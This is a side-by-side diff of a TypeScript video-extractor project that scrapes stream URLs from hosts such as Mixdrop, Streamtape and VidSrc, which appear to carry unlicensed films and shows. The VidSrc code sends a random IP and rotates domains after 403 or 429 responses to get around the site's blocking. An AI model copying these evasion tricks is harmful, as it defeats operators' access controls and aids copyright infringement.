const decrypted = Buffer.concat([decipher.update(encrypted), decipher.final()]).toString(); const decrypted = Buffer.concat([decipher.update(encrypted), decipher.final()]).toString();
const { source, title } = JSON.parse(decrypted) as { source: string; title: string }; const { cf, title } = JSON.parse(decrypted) as { cf: string; title: string };
const m3u8Url = new URL(source); const m3u8Url = new URL(cf);
return [ return [
{ {
url: m3u8Url, url: new URL(cf),
format: Format.hls, format: Format.hls,
label: this.label,
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
ttl: this.ttl,
meta: { meta: {
...meta, ...meta,
height: meta.height ?? await guessHeightFromPlaylist(ctx, this.fetcher, m3u8Url, { headers }), height: await guessHeightFromPlaylist(ctx, this.fetcher, m3u8Url, { headers: { Referer: url.href } }),
title, title,
}, },
requestHeaders: headers, requestHeaders: {
Referer: url.origin,
},
}, },
]; ];
}; };

View file

@ -1,7 +1,7 @@
import bytes from 'bytes'; import bytes from 'bytes';
import * as cheerio from 'cheerio'; import * as cheerio from 'cheerio';
import { NotFoundError } from '../error'; import { NotFoundError } from '../error';
import { Context, Format, InternalUrlResult, Meta } from '../types'; import { Context, Format, Meta, UrlResult } from '../types';
import { import {
buildMediaFlowProxyExtractorStreamUrl, buildMediaFlowProxyExtractorStreamUrl,
supportsMediaFlowProxy, supportsMediaFlowProxy,
@ -12,7 +12,7 @@ import { Extractor } from './Extractor';
export class LuluStream extends Extractor { export class LuluStream extends Extractor {
public readonly id = 'lulustream'; public readonly id = 'lulustream';
public readonly label = 'LuluStream'; public readonly label = 'LuluStream (via MediaFlow Proxy)';
public override viaMediaFlowProxy = true; public override viaMediaFlowProxy = true;
@ -29,12 +29,12 @@ export class LuluStream extends Extractor {
} }
public override normalize(url: URL): URL { public override normalize(url: URL): URL {
const videoId = url.pathname.replace(/\/+$/, '').split('/').at(-1) as string; const videoId = url.pathname.split('/').at(-1) as string;
return new URL(`/e/${videoId}`, url); return new URL(`/e/${videoId}`, url);
} }
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> { protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
const headers = { Referer: meta.referer ?? url.href }; const headers = { Referer: meta.referer ?? url.href };
const fileUrl = new URL(url.href.replace('/e/', '/d/')); const fileUrl = new URL(url.href.replace('/e/', '/d/'));
@ -55,6 +55,9 @@ export class LuluStream extends Extractor {
{ {
url: playlistUrl, url: playlistUrl,
format: Format.hls, format: Format.hls,
label: this.label,
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
ttl: this.ttl,
meta: { meta: {
...meta, ...meta,
title, title,

View file

@ -1,24 +1,24 @@
import bytes from 'bytes'; import bytes from 'bytes';
import * as cheerio from 'cheerio'; import * as cheerio from 'cheerio';
import { NotFoundError } from '../error'; import { NotFoundError } from '../error';
import { Context, Format, InternalUrlResult, Meta } from '../types'; import { Context, Format, Meta, UrlResult } from '../types';
import { buildMediaFlowProxyExtractorRedirectUrl, supportsMediaFlowProxy } from '../utils'; import { buildMediaFlowProxyExtractorRedirectUrl, supportsMediaFlowProxy } from '../utils';
import { Extractor } from './Extractor'; import { Extractor } from './Extractor';
export class Mixdrop extends Extractor { export class Mixdrop extends Extractor {
public readonly id = 'mixdrop'; public readonly id = 'mixdrop';
public readonly label = 'Mixdrop'; public readonly label = 'Mixdrop (via MediaFlow Proxy)';
public override viaMediaFlowProxy = true; public override viaMediaFlowProxy = true;
public supports(ctx: Context, url: URL): boolean { public supports(ctx: Context, url: URL): boolean {
return null !== url.host.match(/mixdrop|mixdrp|mixdroop|m1xdrop/) && supportsMediaFlowProxy(ctx); return null !== url.host.match(/mixdrop/) && supportsMediaFlowProxy(ctx);
} }
public override readonly normalize = (url: URL): URL => new URL(url.href.replace('/f/', '/e/')); public override readonly normalize = (url: URL): URL => new URL(url.href.replace('/f/', '/e/'));
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> { protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
const fileUrl = new URL(url.href.replace('/e/', '/f/')); const fileUrl = new URL(url.href.replace('/e/', '/f/'));
const html = await this.fetcher.text(ctx, fileUrl); const html = await this.fetcher.text(ctx, fileUrl);
@ -35,6 +35,9 @@ export class Mixdrop extends Extractor {
{ {
url: buildMediaFlowProxyExtractorRedirectUrl(ctx, 'Mixdrop', url), url: buildMediaFlowProxyExtractorRedirectUrl(ctx, 'Mixdrop', url),
format: Format.mp4, format: Format.mp4,
label: this.label,
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
ttl: this.ttl,
meta: { meta: {
...meta, ...meta,
bytes: bytes.parse((sizeMatch[1] as string).replace(',', '')) as number, bytes: bytes.parse((sizeMatch[1] as string).replace(',', '')) as number,

View file

@ -1,24 +0,0 @@
import winston from 'winston';
import { createTestContext } from '../test';
import { FetcherMock } from '../utils';
import { ExtractorRegistry } from './ExtractorRegistry';
import { RgShows } from './RgShows';
const logger = winston.createLogger({ transports: [new winston.transports.Console({ level: 'nope' })] });
const extractorRegistry = new ExtractorRegistry(logger, [new RgShows(new FetcherMock(`${__dirname}/__fixtures__/RgShows`))]);
const ctx = createTestContext();
describe('RgShows', () => {
test('handle one battle after another', async () => {
expect(await extractorRegistry.handle(ctx, new URL('https://api.rgshows.ru/main/movie/1054867'))).toMatchSnapshot();
});
test('handle stranger things s05e01', async () => {
expect(await extractorRegistry.handle(ctx, new URL('https://api.rgshows.ru/main/tv/66732/5/1'))).toMatchSnapshot();
});
test('handle parasite 2019 (mp4)', async () => {
expect(await extractorRegistry.handle(ctx, new URL('https://api.rgshows.ru/main/movie/496243'))).toMatchSnapshot();
});
});

View file

@ -1,49 +0,0 @@
import { BlockedError } from '../error';
import { BlockedReason, Context, Format, InternalUrlResult, Meta } from '../types';
import { guessHeightFromPlaylist } from '../utils';
import { Extractor } from './Extractor';
interface RgShowsApiData {
stream: {
url: string;
};
}
export class RgShows extends Extractor {
public readonly id = 'rgshows';
public readonly label = 'RgShows';
public override readonly ttl: number = 10800000; // 3h
public supports(_ctx: Context, url: URL): boolean {
return null !== url.host.match(/rgshows/);
}
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
const headers = { 'Referer': 'https://www.rgshows.ru/', 'Origin': 'https://www.rgshows.ru', 'User-Agent': 'Mozilla' };
const data = await this.fetcher.json(ctx, url, { headers }) as RgShowsApiData;
const streamUrl = new URL(data.stream.url);
/* istanbul ignore if */
if (streamUrl.host.includes('vidzee')) {
throw new BlockedError(url, BlockedReason.unknown, {});
}
const isMp4 = streamUrl.href.includes('mp4');
const isHls = streamUrl.href.includes('m3u8') || streamUrl.href.includes('txt');
return [
{
url: streamUrl,
format: isMp4 ? Format.mp4 : (isHls ? Format.hls : /* istanbul ignore next */ Format.unknown),
meta: {
...meta,
...(isHls && { height: meta.height ?? await guessHeightFromPlaylist(ctx, this.fetcher, streamUrl, { headers }) }),
},
requestHeaders: headers,
},
];
};
}

View file

@ -1,6 +1,6 @@
import * as cheerio from 'cheerio'; import * as cheerio from 'cheerio';
import { NotFoundError } from '../error'; import { NotFoundError } from '../error';
import { Context, Format, InternalUrlResult, Meta } from '../types'; import { Context, Format, Meta, UrlResult } from '../types';
import { Extractor } from './Extractor'; import { Extractor } from './Extractor';
export class SaveFiles extends Extractor { export class SaveFiles extends Extractor {
@ -18,7 +18,7 @@ export class SaveFiles extends Extractor {
return new URL(url.href.replace('/e/', '/').replace('/d/', '/')); return new URL(url.href.replace('/e/', '/').replace('/d/', '/'));
} }
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> { protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
const headers = { Referer: meta.referer ?? url.href }; const headers = { Referer: meta.referer ?? url.href };
const html = await this.fetcher.text(ctx, url, { headers }); const html = await this.fetcher.text(ctx, url, { headers });
@ -37,6 +37,9 @@ export class SaveFiles extends Extractor {
{ {
url: new URL(fileMatch[1] as string), url: new URL(fileMatch[1] as string),
format: Format.hls, format: Format.hls,
label: this.label,
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
ttl: this.ttl,
meta: { meta: {
...meta, ...meta,
title, title,

View file

@ -1,5 +1,5 @@
import { NotFoundError } from '../error'; import { NotFoundError } from '../error';
import { Context, Format, InternalUrlResult, Meta } from '../types'; import { Context, Format, Meta, UrlResult } from '../types';
import { Extractor } from './Extractor'; import { Extractor } from './Extractor';
export class StreamEmbed extends Extractor { export class StreamEmbed extends Extractor {
@ -7,13 +7,11 @@ export class StreamEmbed extends Extractor {
public readonly label = 'StreamEmbed'; public readonly label = 'StreamEmbed';
public override readonly ttl: number = 259200000; // 3d
public supports(_ctx: Context, url: URL): boolean { public supports(_ctx: Context, url: URL): boolean {
return null !== url.host.match(/bullstream|mp4player|watch\.gxplayer/); return null !== url.host.match(/bullstream|mp4player|watch\.gxplayer/);
} }
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> { protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
const headers = { Referer: meta.referer ?? url.href }; const headers = { Referer: meta.referer ?? url.href };
const html = await this.fetcher.text(ctx, url, { headers }); const html = await this.fetcher.text(ctx, url, { headers });
@ -28,6 +26,9 @@ export class StreamEmbed extends Extractor {
{ {
url: new URL(`/m3u8/${video.uid}/${video.md5}/master.txt?s=1&id=${video.id}&cache=${video.status}`, url.origin), url: new URL(`/m3u8/${video.uid}/${video.md5}/master.txt?s=1&id=${video.id}&cache=${video.status}`, url.origin),
format: Format.hls, format: Format.hls,
label: this.label,
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
ttl: this.ttl,
meta: { meta: {
...meta, ...meta,
height: parseInt(JSON.parse(video.quality)[0]), height: parseInt(JSON.parse(video.quality)[0]),

View file

@ -1,48 +1,26 @@
import bytes from 'bytes'; import bytes from 'bytes';
import * as cheerio from 'cheerio'; import * as cheerio from 'cheerio';
import { Context, Format, InternalUrlResult, Meta } from '../types'; import { Context, Format, Meta, UrlResult } from '../types';
import { buildMediaFlowProxyExtractorRedirectUrl, supportsMediaFlowProxy } from '../utils'; import {
buildMediaFlowProxyExtractorRedirectUrl,
supportsMediaFlowProxy,
} from '../utils';
import { Extractor } from './Extractor'; import { Extractor } from './Extractor';
export class Streamtape extends Extractor { export class Streamtape extends Extractor {
public readonly id = 'streamtape'; public readonly id = 'streamtape';
public readonly label = 'Streamtape'; public readonly label = 'Streamtape (via MediaFlow Proxy)';
public override viaMediaFlowProxy = true;
public supports(ctx: Context, url: URL): boolean { public supports(ctx: Context, url: URL): boolean {
const supportedDomain = null !== url.host.match(/streamtape/) return null !== url.host.match(/streamtape/) && supportsMediaFlowProxy(ctx);
|| [
'strtape.cloud',
'streamta.pe',
'strcloud.link',
'strcloud.club',
'strtpe.link',
'scloud.online',
'stape.fun',
'streamadblockplus.com',
'shavetape.cash',
'streamta.site',
'streamadblocker.xyz',
'tapewithadblock.org',
'adblocktape.wiki',
'antiadtape.com',
'tapeblocker.com',
'streamnoads.com',
'tapeadvertisement.com',
'tapeadsenjoyer.com',
'watchadsontape.com',
].includes(url.host);
return supportedDomain && supportsMediaFlowProxy(ctx);
} }
public override normalize(url: URL): URL { public override normalize(url: URL): URL {
return new URL(url.href.replace('/e/', '/v/')); return new URL(url.href.replace('/e/', '/v/'));
} }
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> { protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
const headers = { Referer: meta.referer ?? url.href }; const headers = { Referer: meta.referer ?? url.href };
// Only needed to properly find non-existing files via 404 response // Only needed to properly find non-existing files via 404 response
@ -59,6 +37,9 @@ export class Streamtape extends Extractor {
{ {
url: buildMediaFlowProxyExtractorRedirectUrl(ctx, 'Streamtape', url, headers), url: buildMediaFlowProxyExtractorRedirectUrl(ctx, 'Streamtape', url, headers),
format: Format.mp4, format: Format.mp4,
label: this.label,
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
ttl: this.ttl,
meta: { meta: {
...meta, ...meta,
title, title,

View file

@ -1,7 +1,7 @@
import bytes from 'bytes'; import bytes from 'bytes';
import * as cheerio from 'cheerio'; import * as cheerio from 'cheerio';
import { NotFoundError } from '../error'; import { NotFoundError } from '../error';
import { Context, Format, InternalUrlResult, Meta } from '../types'; import { Context, Format, Meta, UrlResult } from '../types';
import { extractUrlFromPacked, guessHeightFromPlaylist } from '../utils'; import { extractUrlFromPacked, guessHeightFromPlaylist } from '../utils';
import { Extractor } from './Extractor'; import { Extractor } from './Extractor';
@ -20,7 +20,7 @@ export class SuperVideo extends Extractor {
return new URL(url.href.replace('/e/', '/').replace('/k/', '/').replace('/embed-', '/')); return new URL(url.href.replace('/e/', '/').replace('/k/', '/').replace('/embed-', '/'));
} }
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> { protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
const headers = { Referer: meta.referer ?? url.href }; const headers = { Referer: meta.referer ?? url.href };
const html = await this.fetcher.text(ctx, url, { headers }); const html = await this.fetcher.text(ctx, url, { headers });
@ -33,29 +33,30 @@ export class SuperVideo extends Extractor {
throw new NotFoundError(); throw new NotFoundError();
} }
const playlistUrl = extractUrlFromPacked(html, [/sources:\[{file:"(.*?)"/]); const m3u8Url = extractUrlFromPacked(html, [/sources:\[{file:"(.*?)"/]);
const playlistHeaders = { Referer: 'https://supervideo.cc/' };
const heightAndSizeMatch = html.match(/\d{3,}x(\d{3,}), ([\d.]+ ?[GM]B)/); const heightAndSizeMatch = html.match(/\d{3,}x(\d{3,}), ([\d.]+ ?[GM]B)/);
const size = heightAndSizeMatch ? bytes.parse(heightAndSizeMatch[2] as string) as number : undefined; const size = heightAndSizeMatch ? bytes.parse(heightAndSizeMatch[2] as string) as number : undefined;
const height = heightAndSizeMatch const height = heightAndSizeMatch
? parseInt(heightAndSizeMatch[1] as string) ? parseInt(heightAndSizeMatch[1] as string)
: meta.height ?? await guessHeightFromPlaylist(ctx, this.fetcher, playlistUrl, { headers: playlistHeaders }); : await guessHeightFromPlaylist(ctx, this.fetcher, m3u8Url, { headers: { Referer: url.href } });
const $ = cheerio.load(html); const $ = cheerio.load(html);
const title = $('.download__title').text().trim(); const title = $('.download__title').text().trim();
return [ return [
{ {
url: playlistUrl, url: m3u8Url,
format: Format.hls, format: Format.hls,
label: this.label,
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
ttl: this.ttl,
meta: { meta: {
...meta, ...meta,
title, title,
...(size && { bytes: size }), ...(size && { bytes: size }),
...(height && { height }), ...(height && { height }),
}, },
requestHeaders: playlistHeaders,
}, },
]; ];
}; };

View file

@ -1,13 +1,13 @@
import * as cheerio from 'cheerio'; import * as cheerio from 'cheerio';
import { NotFoundError } from '../error'; import { NotFoundError } from '../error';
import { Context, Format, InternalUrlResult, Meta } from '../types'; import { Context, Format, Meta, UrlResult } from '../types';
import { buildMediaFlowProxyExtractorRedirectUrl, supportsMediaFlowProxy } from '../utils'; import { buildMediaFlowProxyExtractorRedirectUrl, supportsMediaFlowProxy } from '../utils';
import { Extractor } from './Extractor'; import { Extractor } from './Extractor';
export class Uqload extends Extractor { export class Uqload extends Extractor {
public readonly id = 'uqload'; public readonly id = 'uqload';
public readonly label = 'Uqload'; public readonly label = 'Uqload (via MediaFlow Proxy)';
public override viaMediaFlowProxy = true; public override viaMediaFlowProxy = true;
@ -19,7 +19,7 @@ export class Uqload extends Extractor {
return new URL(url.href.replace('/embed-', '/')); return new URL(url.href.replace('/embed-', '/'));
} }
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> { protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
const html = await this.fetcher.text(ctx, url); const html = await this.fetcher.text(ctx, url);
if (/File Not Found/.test(html)) { if (/File Not Found/.test(html)) {
@ -35,6 +35,9 @@ export class Uqload extends Extractor {
{ {
url: buildMediaFlowProxyExtractorRedirectUrl(ctx, 'Uqload', url), url: buildMediaFlowProxyExtractorRedirectUrl(ctx, 'Uqload', url),
format: Format.mp4, format: Format.mp4,
label: this.label,
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
ttl: this.ttl,
meta: { meta: {
...meta, ...meta,
title, title,

View file

@ -1,6 +1,7 @@
import { MockAgent, setGlobalDispatcher } from 'undici';
import winston from 'winston'; import winston from 'winston';
import { createTestContext } from '../test'; import { createTestContext } from '../test';
import { FetcherMock } from '../utils'; import { Fetcher, FetcherMock } from '../utils';
import { ExtractorRegistry } from './ExtractorRegistry'; import { ExtractorRegistry } from './ExtractorRegistry';
import { VidSrc } from './VidSrc'; import { VidSrc } from './VidSrc';
@ -17,4 +18,36 @@ describe('VidSrc', () => {
test('Black Mirror', async () => { test('Black Mirror', async () => {
expect(await extractorRegistry.handle(ctx, new URL('https://vidsrc-embed.ru/embed/tv/tt2085059/4-2'))).toMatchSnapshot(); expect(await extractorRegistry.handle(ctx, new URL('https://vidsrc-embed.ru/embed/tv/tt2085059/4-2'))).toMatchSnapshot();
}); });
test('rate limit issues are retried and fail if no tlds are left', async () => {
const mockAgent = new MockAgent({ enableCallHistory: true });
mockAgent.disableNetConnect();
setGlobalDispatcher(mockAgent);
mockAgent.get('https://vidsrc-embed.ru')
.intercept({ path: '/embed/movie/fake1' }).reply(429);
mockAgent.get('https://vidsrc-embed.su')
.intercept({ path: '/embed/movie/fake1' }).reply(429);
const fetcher = new Fetcher(winston.createLogger({ transports: [new winston.transports.Console({ level: 'nope' })] }));
const vidSrc = new VidSrc(fetcher, ['vidsrc-embed.ru', 'vidsrc-embed.su']);
expect(await vidSrc.extract(ctx, new URL('https://vidsrc-embed.ru/embed/movie/fake1'), {})).toMatchSnapshot();
});
test('blocking issues are retried and fail if no tlds are left', async () => {
const mockAgent = new MockAgent({ enableCallHistory: true });
mockAgent.disableNetConnect();
setGlobalDispatcher(mockAgent);
mockAgent.get('https://vidsrc-embed.ru')
.intercept({ path: '/embed/movie/fake2' }).reply(403);
mockAgent.get('https://vidsrc-embed.su')
.intercept({ path: '/embed/movie/fake2' }).reply(403);
const fetcher = new Fetcher(winston.createLogger({ transports: [new winston.transports.Console({ level: 'nope' })] }));
const vidSrc = new VidSrc(fetcher, ['vidsrc-embed.ru', 'vidsrc-embed.su']);
expect(await vidSrc.extract(ctx, new URL('https://vidsrc-embed.ru/embed/movie/fake2'), {})).toMatchSnapshot();
});
}); });

View file

@ -1,6 +1,7 @@
import * as cheerio from 'cheerio'; import * as cheerio from 'cheerio';
import slugify from 'slugify';
import { BlockedError, TooManyRequestsError } from '../error'; import { BlockedError, TooManyRequestsError } from '../error';
import { Context, Format, InternalUrlResult, Meta, NonEmptyArray } from '../types'; import { Context, Format, Meta, NonEmptyArray, UrlResult } from '../types';
import { Fetcher, guessHeightFromPlaylist } from '../utils'; import { Fetcher, guessHeightFromPlaylist } from '../utils';
import { Extractor } from './Extractor'; import { Extractor } from './Extractor';
@ -23,7 +24,7 @@ export class VidSrc extends Extractor {
return null !== url.host.match(/vidsrc|vsrc/); return null !== url.host.match(/vidsrc|vsrc/);
} }
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> { protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
// While this is a crappy thing to do, they seem to be blocking overly strict IMO // While this is a crappy thing to do, they seem to be blocking overly strict IMO
const randomIp = `${Math.floor(Math.random() * 223) + 1}.${Math.floor(Math.random() * 256)}.${Math.floor(Math.random() * 256)}.${Math.floor(Math.random() * 256)}`; const randomIp = `${Math.floor(Math.random() * 223) + 1}.${Math.floor(Math.random() * 256)}.${Math.floor(Math.random() * 256)}.${Math.floor(Math.random() * 256)}`;
const newCtx = { ...ctx, ip: randomIp }; const newCtx = { ...ctx, ip: randomIp };
@ -31,7 +32,7 @@ export class VidSrc extends Extractor {
return this.extractUsingRandomDomain(newCtx, url, meta, [...this.domains]); return this.extractUsingRandomDomain(newCtx, url, meta, [...this.domains]);
}; };
private async extractUsingRandomDomain(ctx: Context, url: URL, meta: Meta, domains: string[]): Promise<InternalUrlResult[]> { private async extractUsingRandomDomain(ctx: Context, url: URL, meta: Meta, domains: string[]): Promise<UrlResult[]> {
const domainIndex = Math.floor(Math.random() * domains.length); const domainIndex = Math.floor(Math.random() * domains.length);
const [domain] = domains.splice(domainIndex, 1) as [string]; const [domain] = domains.splice(domainIndex, 1) as [string];
@ -42,16 +43,14 @@ export class VidSrc extends Extractor {
try { try {
html = await this.fetcher.text(ctx, newUrl, { queueLimit: 1 }); html = await this.fetcher.text(ctx, newUrl, { queueLimit: 1 });
} catch (error) { } catch (error) {
/* istanbul ignore next */
if (domains.length && (error instanceof TooManyRequestsError || error instanceof BlockedError)) { if (domains.length && (error instanceof TooManyRequestsError || error instanceof BlockedError)) {
return this.extractUsingRandomDomain(ctx, url, meta, domains); return this.extractUsingRandomDomain(ctx, url, meta, domains);
} }
/* istanbul ignore next */
throw error; throw error;
} }
const $ = cheerio.load(html.replace('<!--', '').replace('-->', '')); // server HTML is commented-out const $ = cheerio.load(html);
const iframeUrl = new URL(($('#player_iframe').attr('src') as string).replace(/^\/\//, 'https://')); const iframeUrl = new URL(($('#player_iframe').attr('src') as string).replace(/^\/\//, 'https://'));
const title = $('title').text().trim(); const title = $('title').text().trim();
@ -67,13 +66,15 @@ export class VidSrc extends Extractor {
const srcMatch = iframeHtml.match(`src:\\s?'(.*)'`) as string[]; const srcMatch = iframeHtml.match(`src:\\s?'(.*)'`) as string[];
const playerHtml = await this.fetcher.text(ctx, new URL(srcMatch[1] as string, iframeUrl.origin), { headers: { Referer: rcpUrl.href } }); const playerHtml = await this.fetcher.text(ctx, new URL(srcMatch[1] as string, iframeUrl.origin), { headers: { Referer: rcpUrl.href } });
const fileMatch = playerHtml.match(`(https:\\/\\/.*?{v\\d}.*?) or`) as string[]; const fileMatch = playerHtml.match(`file:\\s?'(.*)'`) as string[];
const m3u8Url = new URL((fileMatch[1] as string).replace(/{v\d}/, iframeUrl.host)); const m3u8Url = new URL(fileMatch[1] as string);
return { return {
url: m3u8Url, url: m3u8Url,
format: Format.hls, format: Format.hls,
label: serverName, label: serverName,
sourceId: `${this.id}_${slugify(serverName)}_${meta.countryCodes?.join('_')}`,
ttl: this.ttl,
meta: { meta: {
...meta, ...meta,
height: await guessHeightFromPlaylist(ctx, this.fetcher, m3u8Url, { headers: { Referer: iframeUrl.href } }), height: await guessHeightFromPlaylist(ctx, this.fetcher, m3u8Url, { headers: { Referer: iframeUrl.href } }),

View file

@ -1,20 +0,0 @@
import winston from 'winston';
import { createTestContext } from '../test';
import { FetcherMock } from '../utils';
import { ExtractorRegistry } from './ExtractorRegistry';
import { Vidora } from './Vidora';
const logger = winston.createLogger({ transports: [new winston.transports.Console({ level: 'nope' })] });
const extractorRegistry = new ExtractorRegistry(logger, [new Vidora(new FetcherMock(`${__dirname}/__fixtures__/Vidora`))]);
const ctx = createTestContext();
describe('Vidora', () => {
test('vidora.stream', async () => {
expect(await extractorRegistry.handle(ctx, new URL('https://vidora.stream/5iz6c1elaqgq'))).toMatchSnapshot();
});
test('vidora.stream /embed/', async () => {
expect(await extractorRegistry.handle(ctx, new URL('https://vidora.stream/embed/5iz6c1elaqgq'))).toMatchSnapshot();
});
});

View file

@ -1,43 +0,0 @@
import * as cheerio from 'cheerio';
import { Context, Format, InternalUrlResult, Meta } from '../types';
import { extractUrlFromPacked, guessHeightFromPlaylist } from '../utils';
import { Extractor } from './Extractor';
export class Vidora extends Extractor {
public readonly id = 'vidora';
public readonly label = 'Vidora';
public override readonly ttl: number = 43200000; // 12h
public supports(_ctx: Context, url: URL): boolean {
return null !== url.host.match(/vidora/);
}
public override normalize(url: URL): URL {
return new URL(url.href.replace('/embed/', '/'));
}
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
const html = await this.fetcher.text(ctx, url);
const $ = cheerio.load(html);
const title = $('title').text().trim().replace(/^Watch /, '').trim();
const m3u8Url = extractUrlFromPacked(html, [/file: ?"(.*?)"/]);
const headers = { Origin: url.origin };
return [
{
url: m3u8Url,
format: Format.hls,
meta: {
...meta,
height: meta.height ?? await guessHeightFromPlaylist(ctx, this.fetcher, m3u8Url, { headers }),
title,
},
requestHeaders: headers,
},
];
};
}

View file

@ -7,7 +7,7 @@ import { VixSrc } from './VixSrc';
const logger = winston.createLogger({ transports: [new winston.transports.Console({ level: 'nope' })] }); const logger = winston.createLogger({ transports: [new winston.transports.Console({ level: 'nope' })] });
const extractorRegistry = new ExtractorRegistry(logger, [new VixSrc(new FetcherMock(`${__dirname}/__fixtures__/VixSrc`))]); const extractorRegistry = new ExtractorRegistry(logger, [new VixSrc(new FetcherMock(`${__dirname}/__fixtures__/VixSrc`))]);
const ctx = createTestContext(); const ctx = createTestContext({ de: 'on', en: 'on', it: 'on' });
describe('VixSrc', () => { describe('VixSrc', () => {
test('Full Metal Jacket', async () => { test('Full Metal Jacket', async () => {
@ -18,10 +18,6 @@ describe('VixSrc', () => {
expect(await extractorRegistry.handle(ctx, new URL('https://vixsrc.to/tv/42009/4/2'))).toMatchSnapshot(); expect(await extractorRegistry.handle(ctx, new URL('https://vixsrc.to/tv/42009/4/2'))).toMatchSnapshot();
}); });
test('Rental Family', async () => {
expect(await extractorRegistry.handle(ctx, new URL('https://vixsrc.to/movie/1208348'))).toMatchSnapshot();
});
test('Black Mirror is excluded if no matching language was found', async () => { test('Black Mirror is excluded if no matching language was found', async () => {
const ctx = createTestContext({ de: 'on' }); const ctx = createTestContext({ de: 'on' });

View file

@ -1,5 +1,9 @@
import { Context, CountryCode, Format, InternalUrlResult, Meta } from '../types'; import { Context, CountryCode, Format, Meta, UrlResult } from '../types';
import { CustomRequestConfig, guessHeightFromPlaylist, hasMultiEnabled, iso639FromCountryCode } from '../utils'; import {
CustomRequestInit,
guessHeightFromPlaylist, hasMultiEnabled,
iso639FromCountryCode,
} from '../utils';
import { Extractor } from './Extractor'; import { Extractor } from './Extractor';
export class VixSrc extends Extractor { export class VixSrc extends Extractor {
@ -13,7 +17,7 @@ export class VixSrc extends Extractor {
return null !== url.host.match(/vixsrc/); return null !== url.host.match(/vixsrc/);
} }
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> { protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
const headers = { Referer: url.href }; const headers = { Referer: url.href };
const html = await this.fetcher.text(ctx, url); const html = await this.fetcher.text(ctx, url);
@ -28,7 +32,7 @@ export class VixSrc extends Extractor {
playlistUrl.searchParams.append('expires', expiresMatch[1] as string); playlistUrl.searchParams.append('expires', expiresMatch[1] as string);
playlistUrl.searchParams.append('h', '1'); playlistUrl.searchParams.append('h', '1');
const countryCodes = meta.countryCodes ?? [CountryCode.multi, ...(await this.determineCountryCodesFromPlaylist(ctx, playlistUrl, { headers }))]; const countryCodes = await this.determineCountryCodesFromPlaylist(ctx, playlistUrl, { headers });
if (!hasMultiEnabled(ctx.config) && !countryCodes.some(countryCode => countryCode in ctx.config)) { if (!hasMultiEnabled(ctx.config) && !countryCodes.some(countryCode => countryCode in ctx.config)) {
return []; return [];
@ -38,19 +42,21 @@ export class VixSrc extends Extractor {
{ {
url: playlistUrl, url: playlistUrl,
format: Format.hls, format: Format.hls,
label: this.label,
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
ttl: this.ttl,
meta: { meta: {
...meta,
countryCodes, countryCodes,
height: meta.height ?? await guessHeightFromPlaylist(ctx, this.fetcher, playlistUrl, { headers }), height: await guessHeightFromPlaylist(ctx, this.fetcher, playlistUrl, { headers }),
}, },
}, },
]; ];
}; };
private async determineCountryCodesFromPlaylist(ctx: Context, playlistUrl: URL, init?: CustomRequestConfig): Promise<CountryCode[]> { private async determineCountryCodesFromPlaylist(ctx: Context, playlistUrl: URL, init?: CustomRequestInit): Promise<CountryCode[]> {
const playlist = await this.fetcher.text(ctx, playlistUrl, init); const playlist = await this.fetcher.text(ctx, playlistUrl, init);
const countryCodes: CountryCode[] = []; const countryCodes: CountryCode[] = [CountryCode.it];
(Object.keys(CountryCode) as CountryCode[]).forEach((countryCode) => { (Object.keys(CountryCode) as CountryCode[]).forEach((countryCode) => {
const iso639 = iso639FromCountryCode(countryCode); const iso639 = iso639FromCountryCode(countryCode);

View file

@ -21,8 +21,4 @@ describe('Voe', () => {
test('encoding error', async () => { test('encoding error', async () => {
expect(await extractorRegistry.handle(ctx, new URL('https://voe.sx/e/c2yxvit4f6bz'))).toMatchSnapshot(); expect(await extractorRegistry.handle(ctx, new URL('https://voe.sx/e/c2yxvit4f6bz'))).toMatchSnapshot();
}); });
test('embed only urls which otherwise lead to 404', async () => {
expect(await extractorRegistry.handle(ctx, new URL('https://mikaylaarealike.com/e/gqlhm9hbobwu'))).toMatchSnapshot();
});
}); });

View file

@ -1,9 +1,9 @@
import bytes from 'bytes'; import bytes from 'bytes';
import * as cheerio from 'cheerio'; import * as cheerio from 'cheerio';
import { NotFoundError } from '../error'; import { NotFoundError } from '../error';
import { Context, Format, InternalUrlResult, Meta } from '../types'; import { Context, Format, Meta, UrlResult } from '../types';
import { import {
buildMediaFlowProxyExtractorStreamUrl, guessHeightFromPlaylist, buildMediaFlowProxyExtractorStreamUrl,
supportsMediaFlowProxy, supportsMediaFlowProxy,
} from '../utils'; } from '../utils';
import { Extractor } from './Extractor'; import { Extractor } from './Extractor';
@ -12,7 +12,7 @@ import { Extractor } from './Extractor';
